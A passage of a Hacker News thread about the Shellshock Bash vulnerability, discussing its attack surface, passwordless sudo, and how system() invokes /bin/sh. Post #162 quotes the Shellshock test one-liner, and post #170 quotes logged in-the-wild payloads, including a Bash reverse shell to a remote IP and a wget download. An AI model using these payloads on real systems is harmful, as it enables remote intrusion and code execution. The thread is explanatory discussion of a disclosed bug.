Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Everything you need to know about the Shellshock Bash bug

troyhunt.com

Post reply on HN
Print view View original

161–170 of 296 posts

Re: Everything you need to know about the Shellshock Bash bug

#161

Post by pndmnm »

theGimp wrote: post #142
hderms wrote: post #132

Earlier quoted context omitted.

sudo requires a password to be entered by default, right? I would guess that for most setups this wouldn't be possible without some kind of privilege escalation as well (or if the webserver was running with root privileges).

You'd be surprised by the number of servers that don't ask for password when you try to use sudo. They just assume that the actual owner issued the command and go straight to issuing the command as root. (Caveat: typically it has to be a certain user) I'm ashamed to admit I used to think that was convenient. It makes systems infinitely more vulnerable in the event of an RCE bug.

Many systems still use passwordless sudo to permit certain users to run specific commands -- but now, if those commands are shell scripts run via bash, the users can execute arbitrary commands (this isn't an uncommon class of privilege escalation problem, though).

Re: Everything you need to know about the Shellshock Bash bug

#162

Post by TeeWEE »

The article points you you can run the following code to check you are affected:

    env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
However... This just shows that the bash installation has this problem. If your webserver that is running is not interacting with bash, then there is no problem at all.

So look at your webserver. Its not per-se a problem in bash. Its more a problem of webservers using bash directly.

Or is this bug more serious?

Re: Everything you need to know about the Shellshock Bash bug

#163

Post by teraflop »

AYBABTME wrote: post #160

I'm confused by this vuln report and all the attention. If I don't run any CGI thing and I don't expose SSH without pubkey and only to trusted users, what is there for me to worry about?

The CGI and SSH attack vectors are getting a lot of attention because they are so trivially exploitable. But as someone (I believe tptacek) put it in another thread, this bug has one of the biggest potential attack surfaces in history. Anything that sets any environment variable to an untrusted value and then invokes bash is vulnerable. For example, on some systems, simply connecting to an attacker-controlled network is enough to cause code execution through the DHCP client.

If you choose not to upgrade bash, you are trusting that none of the code on your system uses bash in this way. It's extremely unlikely that the vectors that have been publicized so far are the only major ones.

Re: Everything you need to know about the Shellshock Bash bug

#164

Post by smackfu »

AYBABTME wrote: post #160

I'm confused by this vuln report and all the attention. If I don't run any CGI thing and I don't expose SSH without pubkey and only to trusted users, what is there for me to worry about?

Does your firewall run Linux? What technologies are used to implement its logon page? That's the kind of thing people are worried about.

Re: Everything you need to know about the Shellshock Bash bug

#165

Post by sophacles »

jamroom wrote: post #117
huhtenberg wrote: post #101

Earlier quoted context omitted.

> AND you allow user input to be used in those system calls This is not required for exploiting the vulnerability at hand.

I must not be understanding how this works then - how would /bin/bash be executed from a PHP system() call unless it was called directly from the command? And if you don't allow user input into the system call, how is /bin/bash going to be inserted into it? Thanks!

system() calls /bin/sh for you. If /bin/sh is linked to /bin/bash (a common thing), then it's exploitable.

Under the hood, system("echo foo") does a fork, and in the child process does execv(["/bin/sh", "-c", "echo", "foo"], env...)

Re: Everything you need to know about the Shellshock Bash bug

#166

Post by nitrogen »

jtheory wrote: post #149
f- wrote: post #128

Since the post is relatively non-technical, I'd like to underscore that there are substantial concerns with the original and the followup patch, because with or without it, the underlying bash code parser is still exposed to the Internet. Nobody has posted an RCE vector that would be universally bad for the patched version, but several people have already identified "hmm, that's unexpected" types of global side effec…

The idea of using bash to do anything with input coming from the internet is asking for trouble, really... It's just a flaw with how CGI works generally, and how PHP etc. encourage you to build webapps. It's the same principle as SQL-injection attacks (and the flaw is there for the same reason! It's the obvious quick solution to just query mysql with "select * from users where username = " . PARAMS['username'].... Bu…

The dangerous thing is that lots of things that look like a library call to the unwary developer actually call out to other processes (visible if you run strace). This vulnerability will not be limited to web servers, either, and there will likely be systems that escape or unescape parameters in ways that evade app firewall rules.

Re: Everything you need to know about the Shellshock Bash bug

#167

Post by zorbo »

PeterWhittaker wrote: post #156

Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate. Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability. Status: Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NO…

> Initial appraisals are that public-facing systems are likely not subject to shellshock.

All the managers I know will stop reading after this, sit back and think "aaah, those silly techies. Worrying about nothing".

I gave exactly the opposite advice: We should assume every public and non-public facing system is vulnerable (many were). I'd rather cause a big stinky scare and be proven wrong than downplaying the issue and being proven wrong.. the hard way.

You probably had a good reason for saying this to your organisation, but it's not something that other people should blindly re-use for their own purposes.

Re: Everything you need to know about the Shellshock Bash bug

#168

Post by muyuu »

jewel wrote: post #153
muyuu wrote: post #95

Earlier quoted context omitted.

Debian yes, Ubuntu's default is bash. So is Mint's.

On Ubuntu, /bin/sh is a symlink to dash. /bin/sh is what system() will invoke.

It is, however when you create a user its default shell is bash unless otherwise specified.

Re: Everything you need to know about the Shellshock Bash bug

#169

Post by jewel »

muyuu wrote: post #168
jewel wrote: post #153

Earlier quoted context omitted.

On Ubuntu, /bin/sh is a symlink to dash. /bin/sh is what system() will invoke.

It is, however when you create a user its default shell is bash unless otherwise specified.

Of course, but what's the exploit vector in that case?

Re: Everything you need to know about the Shellshock Bash bug

#170

Post by informatimago »

fiedzia wrote: post #54
jgrahamc wrote: post #39

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

Out of curiosty: did it cause any problems with intended use of this shell feature? Did anyone complained that it broke something that worked before?

There is no intended use, it's a pure evil bug in bash. I wouldn't be surprised if it was discovered that it has been implanted intentionnally.
Post reply on HN